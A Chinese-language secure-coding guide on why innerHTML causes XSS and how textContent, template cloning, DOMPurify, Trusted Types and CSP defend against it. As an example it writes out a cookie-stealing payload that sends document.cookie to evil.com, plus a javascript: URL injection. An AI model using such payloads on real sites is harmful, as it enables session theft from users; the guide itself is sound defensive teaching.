模板与 innerHTML 的安全性

设置 el.innerHTML = userInput 会将字符串解析为 HTML。如果 userInput 包含 <script> 或 onerror 等事件处理器，浏览器就会执行它们，从而造成跨站脚本攻击（XSS）漏洞。

攻击者提交了一个用户名：<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">。如果使用 innerHTML 渲染该内容，onerror 就会触发并窃取会话 cookie。文本内容会变成可执行代码。

el.textContent = userInput 会将字符串视为纯文本——不会解析 HTML，也不会执行脚本。浏览器会在文本节点中自动转义 < 和 >。对于用户提供的值，请始终使用 textContent。

使用 template.cloneNode(true) 时，结构来自预先解析的 HTML template，而不是用户提供的字符串。通过克隆节点上的 textContent 设置值，可以让用户 data 始终保留在文本节点中，而不会进入解析后的 HTML。这样就实现了结构与 data 的分离。

如果需要保留用户提供的 HTML 格式（富文本），请在设置 innerHTML 之前进行清理。DOMPurify 是标准库：el.innerHTML = DOMPurify.sanitize(richHtml)。它会移除危险的标签和属性，同时保留安全的格式。

insertAdjacentHTML("beforeend", html) 同样会解析 HTML 字符串，因此与 innerHTML 存在相同的 XSS 风险。请应用相同的清理规则。更安全的替代方式是：使用 createElement 创建元素，设置其 textContent，然后使用 appendChild。

使用用户 data 设置属性可能造成注入：el.setAttribute("href", userUrl)，其中 userUrl 为 javascript:alert(1)，这样就会产生 XSS。请验证 URL 方案：在设置 href 或 src 属性之前，只允许 http:、https: 和 mailto:。

DOM 篡改是一种攻击方式：命名的表单元素（id="getElementById"）会覆盖全局 JavaScript 变量。请始终通过 document.getElementById() 访问元素，而不要使用全局 window 属性。Content Security Policy 也能缓解篡改攻击。

Trusted Types（Chrome，通过 CSP 强制执行）要求所有 innerHTML、insertAdjacentHTML 及类似的接收点都必须接收由策略封装的字符串。不能直接赋值原始字符串——只能使用已声明的 TrustedTypes 策略创建的值。这样可以防止意外绕过清理过程。

使用 DOM API（createElement、createTextNode）创建元素，并在 DocumentFragment 中操作这些元素，天然可以防范 XSS——文本始终是文本，而不会被解析为 HTML。DocumentFragments 是构建复杂动态界面最安全的方式。

严格的 CSP（不使用 unsafe-inline，脚本采用基于 nonce 的方式）可以作为防御纵深来抵御 XSS。即使攻击者注入 HTML，CSP 也会阻止注入的脚本执行。CSP 不能消除清理的必要性——它是安全网，而不是首要防御手段。

innerHTML 及相关 API 会解析 HTML 字符串；当用户 data 未经清理就被插入时，会造成 XSS 漏洞。使用 textContent、通过 textContent 填充的 template 克隆、用于富文本的 DOMPurify，以及 Content Security Policy，可以构建抵御 HTML 注入攻击的分层防御。